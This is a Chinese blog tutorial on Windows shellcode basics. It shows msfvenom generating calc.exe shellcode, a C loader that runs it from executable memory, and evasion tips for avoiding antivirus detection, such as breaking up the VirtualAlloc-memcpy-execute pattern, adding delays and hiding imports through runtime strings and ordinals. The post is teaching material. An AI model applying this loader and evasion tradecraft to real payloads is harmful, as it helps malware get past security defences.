文章总结: 本文介绍了Windowsshellcode的基础知识,包括其定义、生成流程和执行方法,以及如何使用msfvenom生成shellcode。文章还探讨了shellcode的加密解密执行方式,并提供了规避安全软件检测的技巧,如避免明显API调用序列、使用多种内存分配方式等。最后介绍了如何通过动态拼接和序号查询来隐藏导入表,以增强shellcode的隐蔽性。
综合评分: 79
文章分类: 二进制安全,逆向分析,安全工具,免杀
windows-shellcode入门
原创
羽泪云小栈
羽泪云小栈
2025年11月18日 10:40
陕西
实践部分
shellcode,常作为被目标机器执行注入的数据,反弹shell、弹计算器命令什么的
一般看见的 \xfc\x48这种形式,十六进制,在python、C代码里,(自己记录的,可能不准确,不需要参考,最好自己百度)~~每一个\Xxx对应一个字节的机器指令~~
~~1字节(byte) = 8 比特(bit)~~
~~(\x48即0x48,对应于0100 1000 ,分别是4和8的二进制表示),这是值的表示,对应十进制就是2^6+2^3=72~~
~~如果对应于纯文本来讲,那就是 \,x,4,8,所以可能会看到将 x48转化为二进制时,可能会出现4个8bbit~~
但其实:
常见shellcode形式:\x48\x31
内存:0x48 0x31
CPU执行: 可能是汇编指令了
可视化的话,就需要反汇编 ,可能会看见比如 mov edx,1 这种
所以shellcode的生成流程(一般是用工具直接得到,比如msfvenom):
目标功能原生命令->汇编编译->机器码(二进制0,1)->十六进制字符串
注意: 一般打开计算器,用calc.exe,为了得到弹计算器的shellcode,不是说在代码里调用一个calc.exe的命令,然后ida去看就能得到的。
就是说代码层面调用calc.exe,可能在数据段
而汇编的话,可能把calc.exe 放在栈上面
编译C程序时 一段C代码 -> 生成了完整PE文件(就是可执行文件 DOS部分+PE文件头+节表+节数据)
#include <stdlib.h>
int main(){
system("calc.exe");
return 0;
}
g++ calc.cpp -o cc.exe //别重命名成calc.exe了啊
//段布局
objdump -h cc.exe
//所有节的内容
objdump -s -j .rdata cc.exe
//有导入表
objdump -x E:\htb_exp\tools\dll_hook\cc.exe | findstr -i import
Entry 1 0000000000008000 00000818 Import Directory [parts of .idata]
Entry b 0000000000000000 00000000 Bound Import Directory
Entry c 00000000000081fc 000001c0 Import Address Table Directory
Entry d 0000000000000000 00000000 Delay Import Directory
There is an import table in .idata at 0x408000
The Import Tables (interpreted .idata section contents)
[708](sec 1)(fl 0x00)(ty 20)(scl 2) (nx 0) 0x0000000000001a50 __mingw_enum_import_library_names
对PE文件结构来讲,这里有个关于段和节区的描述。 sections一般叫节区,段包含节区(比如.text、.data) ,这里不细纠。(PE bear查看的PE结构)
//伪代码,最好是用ida打开看
objdump -d E:\htb_exp\tools\dll_hook\cc.exe
//63616c63 calc
shellcode的编译,从汇编开始写,那就是纯二进制了 shellcode.asm -> shellcode.bin,当然也可以换成c、python代码形式
这里就不写汇编了,直接找一个现成的
└─$ msfvenom -p windows/x64/exec CMD='calc.exe' -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Final size of c file: 1188 bytes
unsigned char buf[] =
"\xfc\x48\x83\xe4...\x00";
可以先生成二进制,到时候用ida加载分析下:
msfvenom -p windows/x64/exec CMD='calc.exe' -f raw -o shellcode.bin
hxD打开可以看到十六进制就是我们上面-f c 得到的结果,
ida中看代码,需要选中数据,按 c
具体的汇编代码这里就不追究了…
代码
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] =
"\xfc\x48\x83...\x00";
int main() {
// 1. 分配可执行内存
void *exec_mem = VirtualAlloc(0, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 2. 复制Shellcode到可执行内存
memcpy(exec_mem, shellcode, sizeof(shellcode));
// 3. 执行
printf("执行Shellcode...\n");
((void(*)())exec_mem)();
return 0;
}
这里只是shellcode的应用部分,它的前身。就是从汇编编译过来的,只不过呢,不是简单的函数调用,牵扯到PEB遍历(进程环境块,PEB结构存储整个进程信息)、导出表等,(先跳过)
上面这个会被DF检测,尝试解密执行加密的shellcode
这也是webshell的常用操作(之前看到的哈…),比如某蝎,某斯拉,内容那么少,只有解密的部分。就是把远程传输的命令参数先加密,它们再解密执行即可。
加密代码略
主要用于shellocde加密
解密执行略
解密shellcode[已加密],并执行
gcc -o dec.exe dec.cpp -ladvapi32
丢某步,这个当然也会被检测到,但结果不至于像上一个那么难看,毕竟还有得学嘞。 图略
但它们都检测到了一个内存文件
Unpacked ShellCode
搜了下它的检测点:
- 1. 内存特征扫描:在内存中检测到典型的Shellcode模式
- 2. API调用序列:VirtualAlloc + memcpy + 执行 的典型模式
- 3. 代码特征:PEB遍历、哈希API查找等Shellcode特有代码
- 4. 行为分析:解密后直接在内存执行,没有文件落地
规避技巧:
- 1. 避免明显的模式:
- • 不要连续调用 VirtualAlloc → memcpy → 执行
- • 在操作之间插入随机延迟和垃圾代码
- 2. 使用多种内存分配方式:
- • VirtualAlloc, HeapAlloc, malloc 混合使用
- 3. 模拟正常程序行为:
- • 调用一些无害的系统API
- • 创建正常的文件/线程操作
- 4. 时间混淆:
- • 在关键操作之间添加随机延迟
- • 分阶段执行,不要一次性完成
ida看导入表 imports
GetProcAddress
GetMouduleHandleA
VirtualAlloc
API处理
有没有可能隐藏掉 导入表 的这些函数呢?
参考 https://roblehesa.com/posts/hiding-pe-imports/
找一个常见API, VirtualAllocEx
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
这个函数的定义在这里
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
定义动态导入的API函数签名:相当于定义了一个新数据类型,类似于以往的int、string等
typedef LPVOID (WINAPI* vaex) (
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
...
HMODULE kernel32 = GetModuleHandleW(L"kernel32.dll");
vaex pVirtualAllocEx = GetProcAddress(kernel32, "VirtualAllocEx");
这样的话导入表里,倒是除了 GetModuleHandleW,GetProcAddress 都不见了,但是呢,字符串还是有啊,一个strings命令就暴露了。
动态拼接->传序列号
如下:
char kernel32Str[] = {'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0};
...
HMODULE kernel32 = GetModuleHandleW(kernel32Str);
...
进一步通过文档发现GetProcAddress不需要函数名
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
[in] lpProcName
The function or variable name, or the function's ordinal value. If this parameter is an ordinal value, it must be in the low-order word; the high-order word must be zero.
ordinal value 序数号查询,用PE-bear工具
打开这个,C:\Windows\System32\kernel32.dll,在Exports中,415
那如果根据上面的,定义一个OpenProcess的别名的话,用法就是:
...
op pOpenProcess = GetProcAddress(kernel32, 0x415);
...
但是这个就不太通用了吧,如果系统不一样,这种硬编码不就失效了
既然如此不如继续加解密?(待补充…)
参考 (((φ(◎ロ◎;)φ)))
https://windasunny.github.io/p/calling-calc.exe-in-pure-shellcode-by-walking-the-peb/
https://www.cnblogs.com/resea/p/18884902 归海言诺
https://www.cnblogs.com/resea/p/18945494 Cyber_Kaiyo 看到银狐的逆向分析去了,hh,存一下
https://xz.aliyun.com/news/11481
https://bbs.kanxue.com/thread-266678.htm
https://www.m0n1x90.dev/blog/shellcoding/3
https://roblehesa.com/posts/hiding-pe-imports/
http://www.pinvoke.net/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:羽泪云小栈 羽泪云小栈《windows-shellcode入门》